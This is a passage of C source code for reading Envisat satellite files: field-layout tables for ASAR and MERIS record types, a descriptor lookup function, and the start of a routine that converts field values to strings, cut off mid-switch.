{"ORBIT_STATE_VECTORS.5.X_POS_1", 1921, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Y_POS_1", 1925, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Z_POS_1", 1929, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.X_VEL_1", 1933, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Y_VEL_1", 1937, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Z_VEL_1", 1941, EDT_Int32, 1},
/*{"SPARE_13", 1945, EDT_UByte, 64},*/
{"SLANT_RANGE_TIME", 2009, EDT_Float32, 1},
{"DOP_COEF", 2013, EDT_Float32, 5},
{"DOP_CONF", 2033, EDT_Float32, 1},
/*{"SPARE_14", 2037, EDT_UByte, 14},*/
{"CHIRP_WIDTH", 2051, EDT_Float32, 1},
{"CHIRP_SIDELOBE", 2055, EDT_Float32, 1},
{"CHIRP_ISLR", 2059, EDT_Float32, 1},
{"CHIRP_PEAK_LOC", 2063, EDT_Float32, 1},
{"CHIRP_POWER", 2067, EDT_Float32, 1},
{"ELEV_CORR_FACTOR", 2071, EDT_Float32, 1},
/*{"SPARE_15", 2075, EDT_UByte, 16},*/
{"CAL_INFO.1.MAX_CAL", 2091, EDT_Float32, 3},
{"CAL_INFO.1.AVG_CAL", 2103, EDT_Float32, 3},
{"CAL_INFO.1.AVG_VAL_1A", 2115, EDT_Float32, 1},
{"CAL_INFO.1.PHS_CAL", 2119, EDT_Float32, 4},
{"CAL_INFO.2.MAX_CAL", 2135, EDT_Float32, 3},
{"CAL_INFO.2.AVG_CAL", 2147, EDT_Float32, 3},
{"CAL_INFO.2.AVG_VAL_1A", 2159, EDT_Float32, 1},
{"CAL_INFO.2.PHS_CAL", 2163, EDT_Float32, 4},
{"CAL_INFO.3.MAX_CAL", 2179, EDT_Float32, 3},
{"CAL_INFO.3.AVG_CAL", 2191, EDT_Float32, 3},
{"CAL_INFO.3.AVG_VAL_1A", 2203, EDT_Float32, 1},
{"CAL_INFO.3.PHS_CAL", 2207, EDT_Float32, 4},
{"CAL_INFO.4.MAX_CAL", 2223, EDT_Float32, 3},
{"CAL_INFO.4.AVG_CAL", 2235, EDT_Float32, 3},
{"CAL_INFO.4.AVG_VAL_1A", 2247, EDT_Float32, 1},
{"CAL_INFO.4.PHS_CAL", 2251, EDT_Float32, 4},
{"CAL_INFO.5.MAX_CAL", 2267, EDT_Float32, 3},
{"CAL_INFO.5.AVG_CAL", 2279, EDT_Float32, 3},
{"CAL_INFO.5.AVG_VAL_1A", 2291, EDT_Float32, 1},
{"CAL_INFO.5.PHS_CAL", 2295, EDT_Float32, 4},
{"CAL_INFO.6.MAX_CAL", 2311, EDT_Float32, 3},
{"CAL_INFO.6.AVG_CAL", 2323, EDT_Float32, 3},
{"CAL_INFO.6.AVG_VAL_1A", 2335, EDT_Float32, 1},
{"CAL_INFO.6.PHS_CAL", 2339, EDT_Float32, 4},
{"CAL_INFO.7.MAX_CAL", 2355, EDT_Float32, 3},
{"CAL_INFO.7.AVG_CAL", 2367, EDT_Float32, 3},
{"CAL_INFO.7.AVG_VAL_1A", 2379, EDT_Float32, 1},
{"CAL_INFO.7.PHS_CAL", 2383, EDT_Float32, 4},
{"CAL_INFO.8.MAX_CAL", 2399, EDT_Float32, 3},
{"CAL_INFO.8.AVG_CAL", 2411, EDT_Float32, 3},
{"CAL_INFO.8.AVG_VAL_1A", 2423, EDT_Float32, 1},
{"CAL_INFO.8.PHS_CAL", 2427, EDT_Float32, 4},
{"CAL_INFO.9.MAX_CAL", 2443, EDT_Float32, 3},
{"CAL_INFO.9.AVG_CAL", 2455, EDT_Float32, 3},
{"CAL_INFO.9.AVG_VAL_1A", 2467, EDT_Float32, 1},
{"CAL_INFO.9.PHS_CAL", 2471, EDT_Float32, 4},
{"CAL_INFO.10.MAX_CAL", 2487, EDT_Float32, 3},
{"CAL_INFO.10.AVG_CAL", 2499, EDT_Float32, 3},
{"CAL_INFO.10.AVG_VAL_1A", 2511, EDT_Float32, 1},
{"CAL_INFO.10.PHS_CAL", 2515, EDT_Float32, 4},
{"CAL_INFO.11.MAX_CAL", 2531, EDT_Float32, 3},
{"CAL_INFO.11.AVG_CAL", 2543, EDT_Float32, 3},
{"CAL_INFO.11.AVG_VAL_1A", 2555, EDT_Float32, 1},
{"CAL_INFO.11.PHS_CAL", 2559, EDT_Float32, 4},
{"CAL_INFO.12.MAX_CAL", 2575, EDT_Float32, 3},
{"CAL_INFO.12.AVG_CAL", 2587, EDT_Float32, 3},
{"CAL_INFO.12.AVG_VAL_1A", 2599, EDT_Float32, 1},
{"CAL_INFO.12.PHS_CAL", 2603, EDT_Float32, 4},
{"CAL_INFO.13.MAX_CAL", 2619, EDT_Float32, 3},
{"CAL_INFO.13.AVG_CAL", 2631, EDT_Float32, 3},
{"CAL_INFO.13.AVG_VAL_1A", 2643, EDT_Float32, 1},
{"CAL_INFO.13.PHS_CAL", 2647, EDT_Float32, 4},
{"CAL_INFO.14.MAX_CAL", 2663, EDT_Float32, 3},
{"CAL_INFO.14.AVG_CAL", 2675, EDT_Float32, 3},
{"CAL_INFO.14.AVG_VAL_1A", 2687, EDT_Float32, 1},
{"CAL_INFO.14.PHS_CAL", 2691, EDT_Float32, 4},
{"CAL_INFO.15.MAX_CAL", 2707, EDT_Float32, 3},
{"CAL_INFO.15.AVG_CAL", 2719, EDT_Float32, 3},
{"CAL_INFO.15.AVG_VAL_1A", 2731, EDT_Float32, 1},
{"CAL_INFO.15.PHS_CAL", 2735, EDT_Float32, 4},
{"CAL_INFO.16.MAX_CAL", 2751, EDT_Float32, 3},
{"CAL_INFO.16.AVG_CAL", 2763, EDT_Float32, 3},
{"CAL_INFO.16.AVG_VAL_1A", 2775, EDT_Float32, 1},
{"CAL_INFO.16.PHS_CAL", 2779, EDT_Float32, 4},
{"CAL_INFO.17.MAX_CAL", 2795, EDT_Float32, 3},
{"CAL_INFO.17.AVG_CAL", 2807, EDT_Float32, 3},
{"CAL_INFO.17.AVG_VAL_1A", 2819, EDT_Float32, 1},
{"CAL_INFO.17.PHS_CAL", 2823, EDT_Float32, 4},
{"CAL_INFO.18.MAX_CAL", 2839, EDT_Float32, 3},
{"CAL_INFO.18.AVG_CAL", 2851, EDT_Float32, 3},
{"CAL_INFO.18.AVG_VAL_1A", 2863, EDT_Float32, 1},
{"CAL_INFO.18.PHS_CAL", 2867, EDT_Float32, 4},
{"CAL_INFO.19.MAX_CAL", 2883, EDT_Float32, 3},
{"CAL_INFO.19.AVG_CAL", 2895, EDT_Float32, 3},
{"CAL_INFO.19.AVG_VAL_1A", 2907, EDT_Float32, 1},
{"CAL_INFO.19.PHS_CAL", 2911, EDT_Float32, 4},
{"CAL_INFO.20.MAX_CAL", 2927, EDT_Float32, 3},
{"CAL_INFO.20.AVG_CAL", 2939, EDT_Float32, 3},
{"CAL_INFO.20.AVG_VAL_1A", 2951, EDT_Float32, 1},
{"CAL_INFO.20.PHS_CAL", 2955, EDT_Float32, 4},
{"CAL_INFO.21.MAX_CAL", 2971, EDT_Float32, 3},
{"CAL_INFO.21.AVG_CAL", 2983, EDT_Float32, 3},
{"CAL_INFO.21.AVG_VAL_1A", 2995, EDT_Float32, 1},
{"CAL_INFO.21.PHS_CAL", 2999, EDT_Float32, 4},
{"CAL_INFO.22.MAX_CAL", 3015, EDT_Float32, 3},
{"CAL_INFO.22.AVG_CAL", 3027, EDT_Float32, 3},
{"CAL_INFO.22.AVG_VAL_1A", 3039, EDT_Float32, 1},
{"CAL_INFO.22.PHS_CAL", 3043, EDT_Float32, 4},
{"CAL_INFO.23.MAX_CAL", 3059, EDT_Float32, 3},
{"CAL_INFO.23.AVG_CAL", 3071, EDT_Float32, 3},
{"CAL_INFO.23.AVG_VAL_1A", 3083, EDT_Float32, 1},
{"CAL_INFO.23.PHS_CAL", 3087, EDT_Float32, 4},
{"CAL_INFO.24.MAX_CAL", 3103, EDT_Float32, 3},
{"CAL_INFO.24.AVG_CAL", 3115, EDT_Float32, 3},
{"CAL_INFO.24.AVG_VAL_1A", 3127, EDT_Float32, 1},
{"CAL_INFO.24.PHS_CAL", 3131, EDT_Float32, 4},
{"CAL_INFO.25.MAX_CAL", 3147, EDT_Float32, 3},
{"CAL_INFO.25.AVG_CAL", 3159, EDT_Float32, 3},
{"CAL_INFO.25.AVG_VAL_1A", 3171, EDT_Float32, 1},
{"CAL_INFO.25.PHS_CAL", 3175, EDT_Float32, 4},
{"CAL_INFO.26.MAX_CAL", 3191, EDT_Float32, 3},
{"CAL_INFO.26.AVG_CAL", 3203, EDT_Float32, 3},
{"CAL_INFO.26.AVG_VAL_1A", 3215, EDT_Float32, 1},
{"CAL_INFO.26.PHS_CAL", 3219, EDT_Float32, 4},
{"CAL_INFO.27.MAX_CAL", 3235, EDT_Float32, 3},
{"CAL_INFO.27.AVG_CAL", 3247, EDT_Float32, 3},
{"CAL_INFO.27.AVG_VAL_1A", 3259, EDT_Float32, 1},
{"CAL_INFO.27.PHS_CAL", 3263, EDT_Float32, 4},
{"CAL_INFO.28.MAX_CAL", 3279, EDT_Float32, 3},
{"CAL_INFO.28.AVG_CAL", 3291, EDT_Float32, 3},
{"CAL_INFO.28.AVG_VAL_1A", 3303, EDT_Float32, 1},
{"CAL_INFO.28.PHS_CAL", 3307, EDT_Float32, 4},
{"CAL_INFO.29.MAX_CAL", 3323, EDT_Float32, 3},
{"CAL_INFO.29.AVG_CAL", 3335, EDT_Float32, 3},
{"CAL_INFO.29.AVG_VAL_1A", 3347, EDT_Float32, 1},
{"CAL_INFO.29.PHS_CAL", 3351, EDT_Float32, 4},
{"CAL_INFO.30.MAX_CAL", 3367, EDT_Float32, 3},
{"CAL_INFO.30.AVG_CAL", 3379, EDT_Float32, 3},
{"CAL_INFO.30.AVG_VAL_1A", 3391, EDT_Float32, 1},
{"CAL_INFO.30.PHS_CAL", 3395, EDT_Float32, 4},
{"CAL_INFO.31.MAX_CAL", 3411, EDT_Float32, 3},
{"CAL_INFO.31.AVG_CAL", 3423, EDT_Float32, 3},
{"CAL_INFO.31.AVG_VAL_1A", 3435, EDT_Float32, 1},
{"CAL_INFO.31.PHS_CAL", 3439, EDT_Float32, 4},
{"CAL_INFO.32.MAX_CAL", 3455, EDT_Float32, 3},
{"CAL_INFO.32.AVG_CAL", 3467, EDT_Float32, 3},
{"CAL_INFO.32.AVG_VAL_1A", 3479, EDT_Float32, 1},
{"CAL_INFO.32.PHS_CAL", 3483, EDT_Float32, 4},
/*{"SPARE_16", 3499, EDT_UByte, 16},*/
{"FIRST_LINE_TIME", 3515, EDT_MJD, 1},
{"FIRST_LINE_TIE_POINTS.RANGE_SAMP_NUMS_FIRST", 3527, EDT_UInt32, 3},
{"FIRST_LINE_TIE_POINTS.SLANT_RANGE_TIMES_FIRST", 3539, EDT_Float32, 3},
{"FIRST_LINE_TIE_POINTS.INC_ANGLES_FIRST", 3551, EDT_Float32, 3},
{"FIRST_LINE_TIE_POINTS.LATS_FIRST", 3563, EDT_Int32, 3},
{"FIRST_LINE_TIE_POINTS.LONGS_FIRST", 3575, EDT_Int32, 3},
{"MID_LINE_TIME", 3587, EDT_MJD, 1},
{"MID_RANGE_LINE_NUMS", 3599, EDT_UInt32, 1},
{"MID_LINE_TIE_POINTS.RANGE_SAMP_NUMS_MID", 3603, EDT_UInt32, 3},
{"MID_LINE_TIE_POINTS.SLANT_RANGE_TIMES_MID", 3615, EDT_Float32, 3},
{"MID_LINE_TIE_POINTS.INC_ANGLES_MID", 3627, EDT_Float32, 3},
{"MID_LINE_TIE_POINTS.LATS_MID", 3639, EDT_Int32, 3},
{"MID_LINE_TIE_POINTS.LONGS_MID", 3651, EDT_Int32, 3},
{"LAST_LINE_TIME", 3663, EDT_MJD, 1},
{"LAST_LINE_NUM", 3675, EDT_UInt32, 1},
{"LAST_LINE_TIE_POINTS.RANGE_SAMP_NUMS_LAST", 3679, EDT_UInt32, 3},
{"LAST_LINE_TIE_POINTS.SLANT_RANGE_TIMES_LAST", 3691, EDT_Float32, 3},
{"LAST_LINE_TIE_POINTS.INC_ANGLES_LAST", 3703, EDT_Float32, 3},
{"LAST_LINE_TIE_POINTS.LATS_LAST", 3715, EDT_Int32, 3},
{"LAST_LINE_TIE_POINTS.LONGS_LAST", 3727, EDT_Int32, 3},
{"SWST_OFFSET", 3739, EDT_Float32, 1},
{"GROUND_RANGE_BIAS", 3743, EDT_Float32, 1},
{"ELEV_ANGLE_BIAS", 3747, EDT_Float32, 1},
{"IMAGETTE_RANGE_LEN", 3751, EDT_Float32, 1},
{"IMAGETTE_AZ_LEN", 3755, EDT_Float32, 1},
{"IMAGETTE_RANGE_RES", 3759, EDT_Float32, 1},
{"GROUND_RES", 3763, EDT_Float32, 1},
{"IMAGETTE_AZ_RES", 3767, EDT_Float32, 1},
{"PLATFORM_ALT", 3771, EDT_Float32, 1},
{"PLATFORM_VEL", 3775, EDT_Float32, 1},
{"SLANT_RANGE", 3779, EDT_Float32, 1},
{"CW_DRIFT", 3783, EDT_Float32, 1},
{"WAVE_SUBCYCLE", 3787, EDT_UInt16, 1},
{"EARTH_RADIUS", 3789, EDT_Float32, 1},
{"SAT_HEIGHT", 3793, EDT_Float32, 1},
{"FIRST_SAMPLE_SLANT_RANGE", 3797, EDT_Float32, 1},
/*{"SPARE_17", 3801, EDT_UByte, 12},*/
{"ELEVATION_PATTERN.SLANT_RANGE_TIME", 3813, EDT_Float32, 11},
{"ELEVATION_PATTERN.ELEVATION_ANGLES", 3857, EDT_Float32, 11},
{"ELEVATION_PATTERN.ANTENNA_PATTERN", 3901, EDT_Float32, 11},
/*{"SPARE_18", 3945, EDT_UByte, 14},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr ASAR_WAVE_SQ_ADSR[] = {
{"ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"INPUT_MEAN_FLAG", 13, EDT_UByte, 1},
{"INPUT_STD_DEV_FLAG", 14, EDT_UByte, 1},
{"INPUT_GAPS_FLAG", 15, EDT_UByte, 1},
{"INPUT_MISSING_LINES_FLAG", 16, EDT_UByte, 1},
{"DOP_CEN_FLAG", 17, EDT_UByte, 1},
{"DOP_AMB_FLAG", 18, EDT_UByte, 1},
{"OUTPUT_MEAN_FLAG", 19, EDT_UByte, 1},
{"OUTPUT_STD_DEV_FLAG", 20, EDT_UByte, 1},
{"CHIRP_FLAG", 21, EDT_UByte, 1},
{"MISSING_DATA_SETS_FLAG", 22, EDT_UByte, 1},
{"INVALID_DOWNLINK_FLAG", 23, EDT_UByte, 1},
/*{"SPARE_1", 24, EDT_UByte, 7},*/
{"THRESH_CHIRP_BROADENING", 31, EDT_Float32, 1},
{"THRESH_CHIRP_SIDELOBE", 35, EDT_Float32, 1},
{"THRESH_CHIRP_ISLR", 39, EDT_Float32, 1},
{"THRESH_INPUT_MEAN", 43, EDT_Float32, 1},
{"EXP_INPUT_MEAN", 47, EDT_Float32, 1},
{"THRESH_INPUT_STD_DEV", 51, EDT_Float32, 1},
{"EXP_INPUT_STD_DEV", 55, EDT_Float32, 1},
{"THRESH_DOP_CEN", 59, EDT_Float32, 1},
{"THRESH_DOP_AMB", 63, EDT_Float32, 1},
{"THRESH_OUTPUT_MEAN", 67, EDT_Float32, 1},
{"EXP_OUTPUT_MEAN", 71, EDT_Float32, 1},
{"THRESH_OUTPUT_STD_DEV", 75, EDT_Float32, 1},
{"EXP_OUTPUT_STD_DEV", 79, EDT_Float32, 1},
{"THRESH_INPUT_MISSING_LINES", 83, EDT_Float32, 1},
{"THRESH_INPUT_GAPS", 87, EDT_Float32, 1},
{"LINES_PER_GAPS", 91, EDT_UInt32, 1},
/*{"SPARE_2", 95, EDT_UByte, 15},*/
{"INPUT_MEAN", 110, EDT_Float32, 2},
{"INPUT_STD_DEV", 118, EDT_Float32, 2},
{"NUM_GAPS", 126, EDT_Float32, 1},
{"NUM_MISSING_LINES", 130, EDT_Float32, 1},
{"OUTPUT_MEAN", 134, EDT_Float32, 2},
{"OUTPUT_STD_DEV", 142, EDT_Float32, 2},
{"TOT_ERRORS", 150, EDT_UInt32, 1},
/*{"SPARE_3", 154, EDT_UByte, 16},*/
{"LAND_FLAG", 170, EDT_UByte, 1},
{"LOOK_CONF_FLAG", 171, EDT_UByte, 1},
{"INTER_LOOK_CONF_FLAG", 172, EDT_UByte, 1},
{"AZ_CUTOFF_FLAG", 173, EDT_UByte, 1},
{"AZ_CUTOFF_ITERATION_FLAG", 174, EDT_UByte, 1},
{"PHASE_FLAG", 175, EDT_UByte, 1},
/*{"SPARE_4", 176, EDT_UByte, 4},*/
{"LOOK_CONF_THRESH", 180, EDT_Float32, 2},
{"INTER_LOOK_CONF_THRESH", 188, EDT_Float32, 1},
{"AZ_CUTOFF_THRESH", 192, EDT_Float32, 1},
{"AZ_CUTOFF_ITERATIONS_THRESH", 196, EDT_UInt32, 1},
{"PHASE_PEAK_THRESH", 200, EDT_Float32, 1},
{"PHASE_CROSS_THRESH", 204, EDT_Float32, 1},
/*{"SPARE_5", 208, EDT_UByte, 12},*/
{"LOOK_CONF", 220, EDT_Float32, 1},
{"INTER_LOOK_CONF", 224, EDT_Float32, 1},
{"AZ_CUTOFF", 228, EDT_Float32, 1},
{"PHASE_PEAK_CONF", 232, EDT_Float32, 1},
{"PHASE_CROSS_CONF", 236, EDT_Float32, 1},
/*{"SPARE_6", 240, EDT_UByte, 12},*/
{NULL, 0, EDT_Unknown, 0}
};
/* --- MERIS record descriptors -------------------------------------------- */
static const EnvisatFieldDescr MERIS_1P_QUALITY_ADSR[] = {
{"DSR_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"RANGE_FLAG", 13, EDT_UInt16, 5},
{"RANGE_BLIND_FLAG", 23, EDT_UInt16, 5},
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr MERIS_1P_SCALING_FACTOR_GADS[] = {
{"SCALING_FACTOR_ALT", 0, EDT_Float32, 1},
{"SCALING_FACTOR_ROUGH", 4, EDT_Float32, 1},
{"SCALING_FACTOR_ZON_WIND", 8, EDT_Float32, 1},
{"SCALING_FACTOR_MERR_WIND", 12, EDT_Float32, 1},
{"SCALING_FACTOR_ATM_PRES", 16, EDT_Float32, 1},
{"SCALING_FACTOR_OZONE", 20, EDT_Float32, 1},
{"SCALING_FACTOR_REL_HUM", 24, EDT_Float32, 1},
{"SCALING_FACTOR_RAD", 28, EDT_Float32, 15},
{"GAIN_SETTINGS", 88, EDT_UByte, 80},
{"SAMPLING_RATE", 168, EDT_UInt32, 1},
{"SUN_SPECTRAL_FLUX", 172, EDT_Float32, 15},
/*{"SPARE_1", 232, EDT_UByte, 60},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr MERIS_2P_QUALITY_ADSR[] = {
{"DSR_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"PERC_WATER_ABS_AERO", 13, EDT_UByte, 1},
{"PERC_WATER", 14, EDT_UByte, 1},
{"PERC_DDV_LAND", 15, EDT_UByte, 1},
{"PERC_LAND", 16, EDT_UByte, 1},
{"PERC_CLOUD", 17, EDT_UByte, 1},
{"PERC_LOW_POLY_PRESS", 18, EDT_UByte, 1},
{"PERC_LOW_NEURAL_PRESS", 19, EDT_UByte, 1},
{"PERC_OUT_RAN_INP_WVAPOUR", 20, EDT_UByte, 1},
{"PER_OUT_RAN_OUTP_WVAPOUR", 21, EDT_UByte, 1},
{"PERC_OUT_RANGE_INP_CL", 22, EDT_UByte, 1},
{"PERC_OUT_RAN_OUTP_CL", 23, EDT_UByte, 1},
{"PERC_IN_RAN_INP_LAND", 24, EDT_UByte, 1},
{"PERC_OUT_RAN_OUTP_LAND", 25, EDT_UByte, 1},
{"PERC_OUT_RAN_INP_OCEAN", 26, EDT_UByte, 1},
{"PERC_OUT_RAN_OUTP_OCEAN", 27, EDT_UByte, 1},
{"PERC_OUT_RAN_INP_CASE1", 28, EDT_UByte, 1},
{"PERC_OUT_RAN_OUTP_CASE1", 29, EDT_UByte, 1},
{"PERC_OUT_RAN_INP_CASE2", 30, EDT_UByte, 1},
{"PERC_OUT_RAN_OUTP_CASE2", 31, EDT_UByte, 1},
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr MERIS_2P_SCALING_FACTOR_GADS[] = {
{"SCALING_FACTOR_ALT", 0, EDT_Float32, 1},
{"SCALING_FACTOR_ROUGH", 4, EDT_Float32, 1},
{"SCALING_FACTOR_ZON_WIND", 8, EDT_Float32, 1},
{"SCALING_FACTOR_MERR_WIND", 12, EDT_Float32, 1},
{"SCALING_FACTOR_ATM_PRES", 16, EDT_Float32, 1},
{"SCALING_FACTOR_OZONE", 20, EDT_Float32, 1},
{"SCALING_FACTOR_REL_HUMID", 24, EDT_Float32, 1},
{"SCALING_FACTOR_REFLEC", 28, EDT_Float32, 13},
{"SCALING_FACTOR_ALGAL_PIG_IND", 80, EDT_Float32, 1},
{"SCALING_FACTOR_YELLOW_SUBS", 84, EDT_Float32, 1},
{"SCALING_FACTOR_SUSP_SED", 88, EDT_Float32, 1},
{"SCALING_FACTOR_AERO_EPSILON", 92, EDT_Float32, 1},
{"SCALING_FACTOR_AER_OPT_THICK", 96, EDT_Float32, 1},
{"SCALING_FACTOR_CL_OPT_THICK", 100, EDT_Float32, 1},
{"SCALING_FACTOR_SURF_PRES", 104, EDT_Float32, 1},
{"SCALING_FACTOR_WVAPOUR", 108, EDT_Float32, 1},
{"SCALING_FACTOR_PHOTOSYN_RAD", 112, EDT_Float32, 1},
{"SCALING_FACTOR_TOA_VEG", 116, EDT_Float32, 1},
{"SCALING_FACTOR_BOA_VEG", 120, EDT_Float32, 1},
{"SCALING_FACTOR_CLOUD_ALBEDO", 124, EDT_Float32, 1},
{"SCALING_FACTOR_CLOUD_TOP_PRESS", 128, EDT_Float32, 1},
{"OFF_REFLEC", 132, EDT_Float32, 13},
{"OFFSET_ALGAL", 184, EDT_Float32, 1},
{"OFFSET_YELLOW_SUBS", 188, EDT_Float32, 1},
{"OFFSET_TOTAL_SUSP", 192, EDT_Float32, 1},
{"OFFSET_AERO_EPSILON", 196, EDT_Float32, 1},
{"OFFSET_AER_OPT_THICK", 200, EDT_Float32, 1},
{"OFFSET_CL_OPT_THICK", 204, EDT_Float32, 1},
{"OFFSET_SURF_PRES", 208, EDT_Float32, 1},
{"OFFSET_WVAPOUR", 212, EDT_Float32, 1},
{"OFFSET_PHOTOSYN_RAD", 216, EDT_Float32, 1},
{"OFFSET_TOA_VEG", 220, EDT_Float32, 1},
{"OFFSET_BOA_VEG", 224, EDT_Float32, 1},
{"OFFSET_CLOUD_ALBEDO", 228, EDT_Float32, 1},
{"OFFSET_CLOUD_TOP_PRESS", 232, EDT_Float32, 1},
{"GAIN_SETTINGS", 236, EDT_UByte, 80},
{"SAMPLING_RATE", 316, EDT_UInt32, 1},
{"SUN_SPECTRAL_FLUX", 320, EDT_Float32, 15},
{"SCALING_FACTOR_RECT_REFL_NIR", 380, EDT_Float32, 1},
{"OFFSET_RECT_REFL_NIR", 384, EDT_Float32, 1},
{"SCALING_FACTOR_RECT_REFL_RED", 388, EDT_Float32, 1},
{"OFFSET_RECT_REFL_RED", 392, EDT_Float32, 1},
/*{"SPARE_1", 396, EDT_UByte, 44},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr MERIS_2P_C_SCALING_FACTOR_GADS[] = {
{"SCALING_FACTOR_CLOUD_OPT_THICK", 0, EDT_Float32, 1},
{"SCALING_FACTOR_CLOUD_TOP_PRESS", 4, EDT_Float32, 1},
{"SCALING_FACTOR_WVAPOUR", 8, EDT_Float32, 1},
{"OFFSET_CL_OPT_THICK", 12, EDT_Float32, 1},
{"OFFSET_CLOUD_TOP_PRESS", 16, EDT_Float32, 1},
{"OFFSET_WVAPOUR", 20, EDT_Float32, 1},
/*{"SPARE_1", 24, EDT_UByte, 52},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr MERIS_2P_V_SCALING_FACTOR_GADS[] = {
{"SCALING_FACTOR_TOA_VEGETATION_INDEX", 0, EDT_Float32, 1},
{"SCALING_FACTOR_BOA_VEGETATION_INDEX", 4, EDT_Float32, 1},
{"OFFSET_TOA_VEGETAYION_INDEX", 8, EDT_Float32, 1},
{"OFFSET_BOA_VEGETAYION_INDEX", 12, EDT_Float32, 1},
/*{"SPARE_1", 16, EDT_UByte, 60},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatRecordDescr aASAR_Records[] = {
{"MDS1 ANTENNA ELEV PATT ADS", ASAR_ANTENNA_ELEV_PATT_ADSR},
{"MDS2 ANTENNA ELEV PATT ADS", ASAR_ANTENNA_ELEV_PATT_ADSR},
{"CHIRP PARAMS ADS", ASAR_CHIRP_PARAMS_ADSR},
{"DOP CENTROID COEFFS ADS", ASAR_DOP_CENTROID_COEFFS_ADSR},
/*{"GEOLOCATION GRID ADS", ASAR_GEOLOCATION_GRID_ADSR},*/
{"MAIN PROCESSING PARAMS ADS", ASAR_MAIN_PROCESSING_PARAMS_ADSR},
{"MAP PROJECTION GADS", ASAR_MAP_PROJECTION_GADS},
{"MDS1 SQ ADS", ASAR_SQ_ADSR},
{"MDS2 SQ ADS", ASAR_SQ_ADSR},
{"SR GR ADS", ASAR_SR_GR_ADSR},
/* WAVE */
/*{"GEOLOCATION ADS", ASAR_GEOLOCATION_ADSR},*/
{"PROCESSING PARAMS ADS", ASAR_PROCESSING_PARAMS_ADSR},
{"SQ ADS", ASAR_WAVE_SQ_ADSR},
{NULL, NULL}
};
static const EnvisatRecordDescr aMERIS_1P_Records[] = {
{"Quality ADS", MERIS_1P_QUALITY_ADSR},
{"Scaling Factor GADS", MERIS_1P_SCALING_FACTOR_GADS},
{NULL, NULL}
};
static const EnvisatRecordDescr aMERIS_2P_Records[] = {
{"Quality ADS", MERIS_2P_QUALITY_ADSR},
{"Scaling Factor GADS", MERIS_2P_SCALING_FACTOR_GADS},
{NULL, NULL}
};
static const EnvisatRecordDescr aMERIS_2P_C_Records[] = {
{"Quality ADS", MERIS_2P_QUALITY_ADSR},
{"Scaling Factor GADS", MERIS_2P_C_SCALING_FACTOR_GADS},
{NULL, NULL}
};
static const EnvisatRecordDescr aMERIS_2P_V_Records[] = {
{"Quality ADS", MERIS_2P_QUALITY_ADSR},
{"Scaling Factor GADS", MERIS_2P_V_SCALING_FACTOR_GADS},
{NULL, NULL}
};
const EnvisatRecordDescr* EnvisatFile_GetRecordDescriptor(
const char* pszProduct, const char* pszDataset)
{
const EnvisatRecordDescr *paRecords = NULL;
const EnvisatRecordDescr *pRecordDescr = NULL;
int nLen;
if( STARTS_WITH_CI(pszProduct, "ASA") )
paRecords = aASAR_Records;
else if( STARTS_WITH_CI(pszProduct, "MER") )
{
if ( STARTS_WITH_CI(pszProduct + 6, "C_2P") )
paRecords = aMERIS_2P_C_Records;
else if ( STARTS_WITH_CI(pszProduct + 6, "V_2P") )
paRecords = aMERIS_2P_V_Records;
else if ( STARTS_WITH_CI(pszProduct + 8, "1P") )
paRecords = aMERIS_1P_Records;
else if ( STARTS_WITH_CI(pszProduct + 8, "2P") )
paRecords = aMERIS_2P_Records;
else
return NULL;
}
else if( STARTS_WITH_CI(pszProduct, "SAR") )
/* ERS products in ENVISAT format have the same records of ASAR ones */
paRecords = aASAR_Records;
else
return NULL;
/* strip trailing spaces */
for( nLen = (int)strlen(pszDataset); nLen && pszDataset[nLen-1] == ' '; --nLen );
pRecordDescr = paRecords;
while ( pRecordDescr->szName != NULL )
{
if ( EQUALN(pRecordDescr->szName, pszDataset, nLen) )
return pRecordDescr;
else
++pRecordDescr;
}
return NULL;
}
CPLErr EnvisatFile_GetFieldAsString(const void *pRecord, int nRecLen,
const EnvisatFieldDescr* pField, char *szBuf, size_t nBufLen)
{
int ret;
int i, nOffset = 0;
const GByte *pData;
if ( pField->nOffset >= nRecLen )
{
CPLDebug( "EnvisatDataset",
"Field offset (%d) is greater than the record length (%d).",
pField->nOffset, nRecLen );
return CE_Failure;
}
pData = (const GByte*)pRecord + pField->nOffset;
szBuf[0] = '\0';
switch (pField->eType)
{
case EDT_Char:
memcpy((void*)szBuf, pData, pField->nCount);
szBuf[pField->nCount] = '\0';
break;
case EDT_UByte:
case EDT_SByte:
for (i = 0; i < pField->nCount; ++i)
{
if (i > 0)
szBuf[nOffset++] = ' ';
ret = snprintf(szBuf + nOffset, nBufLen -nOffset, "%d",
((const char*)pData)[i]);
if( ret < 0 || ret >= (int)nBufLen - nOffset )
return CE_Failure;
nOffset += ret;
}
break;
case EDT_Int16:
for (i = 0; i < pField->nCount; ++i)
{
GInt16 nVal;
if (i > 0)
szBuf[nOffset++] = ' ';
memcpy(&nVal, pData + i * sizeof(nVal), sizeof(nVal));
ret = snprintf(szBuf + nOffset, nBufLen -nOffset, "%d",
CPL_MSBWORD16(nVal));
if( ret < 0 || ret >= (int)nBufLen -nOffset )
return CE_Failure;
nOffset += ret;
}
break;
case EDT_UInt16:
for (i = 0; i < pField->nCount; ++i)
{
GUInt16 nVal;
if (i > 0)
szBuf[nOffset++] = ' ';
memcpy(&nVal, pData + i * sizeof(nVal), sizeof(nVal));
ret = snprintf(szBuf + nOffset, nBufLen -nOffset,"%u",
CPL_MSBWORD16(nVal));
if( ret < 0 || ret >= (int)nBufLen -nOffset )
return CE_Failure;
nOffset += ret;
}
break;
case EDT_Int32:
for (i = 0; i < pField->nCount; ++i)
{
GInt32 nVal;
if (i > 0)
